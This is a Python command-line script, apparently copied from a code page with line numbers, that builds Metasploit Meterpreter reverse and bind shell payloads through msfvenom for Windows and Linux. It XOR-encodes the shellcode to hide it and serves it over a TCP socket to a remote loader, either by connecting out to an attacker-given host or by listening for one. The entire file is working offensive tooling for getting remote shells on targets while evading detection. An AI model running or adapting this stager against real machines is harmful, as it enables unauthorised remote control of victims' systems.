1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| import binascii import click import socket import subprocess import sys
@click.command() @click.option("-h", required = True, type = str, help = "Host") @click.option("-p", required = True, type = int, help = "Port") @click.option("-lp", required = True, type = int, help = "Loader port") @click.option("-pl", required = True, type = click.Choice(["w", "l"]), help = "Platform (choices: w for windows, l for linux)") @click.option("-x86", default = None, is_flag = True, help = "-x86 for x86") @click.option("-b", default = None, is_flag = True, help = "-b for bind shell (default: reverse shell)") @click.option("-s", default = None, is_flag = True, help = "-b for stageless (default: staged)")
def shellcode_start(x86, pl, b, s, h, p, lp): x86 = x86 platform = pl bind = b stageless = s host = h port = p loader_port = lp if x86: if stageless: if platform == "w": if bind: msfvenom = "msfvenom -p windows/meterpreter_bind_tcp LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (port) else: msfvenom = "msfvenom -p windows/meterpreter_reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (host, port) elif platform == "l": if bind: print("No such payload") exit() else: print("Error: selected payload can only generate ELF files") exit() else: if platform == "w": if bind: msfvenom = "msfvenom -p windows/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (port) else: msfvenom = "msfvenom -p windows/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (host, port) elif platform == "l": if bind: msfvenom = "msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (port) else: msfvenom = "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x86/xor_dynamic" % (host, port) else: if stageless: if platform == "w": if bind: msfvenom = "msfvenom -p windows/x64/meterpreter_bind_tcp LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (port) else: msfvenom = "msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (host, port) elif platform == "l": if bind: print("No such payload") exit() else: print("Error: selected payload can only generate ELF files") exit() else: if platform == "w": if bind: msfvenom = "msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (port) else: msfvenom = "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (host, port) elif platform == "l": if bind: msfvenom = "msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (port) else: msfvenom = "msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=%s LPORT=%d -f c -b '\\x00' -e x64/xor_dynamic" % (host, port) print(msfvenom) result, err = subprocess.Popen(msfvenom, stdout = subprocess.PIPE, stderr = subprocess.PIPE, shell = True).communicate() result = binascii.unhexlify(result.decode().split("= \n\"")[1].replace("\"\n\"", "")[:-3].replace("\\x", "").encode()) key = 0xff buffer_len = 1024 new_shellcode = "" for _ in result: new_shellcode = new_shellcode + chr(_ ^ key)
if bind: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((host, loader_port)) shellcode_len = len(new_shellcode) count = shellcode_len // buffer_len remained = shellcode_len - count * buffer_len for I in range(count): client_socket.send(new_shellcode[I * buffer_len:(I + 1) * buffer_len].encode("ISO-8859-1")) client_socket.send(new_shellcode[-remained:].encode("ISO-8859-1")) print("%d bytes sended." % shellcode_len) client_socket.close() else: server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(("0.0.0.0", loader_port)) server_socket.listen(1) print("Socket server online.") client_socket, client_address = server_socket.accept() shellcode_len = len(new_shellcode) count = shellcode_len // buffer_len remained = shellcode_len - count * buffer_len for I in range(count): client_socket.send(new_shellcode[I * buffer_len:(I + 1) * buffer_len].encode("ISO-8859-1")) client_socket.send(new_shellcode[-remained:].encode("ISO-8859-1")) print("%d bytes sended." % shellcode_len) client_socket.close() server_socket.close()
if __name__ == "__main__": shellcode_start()
|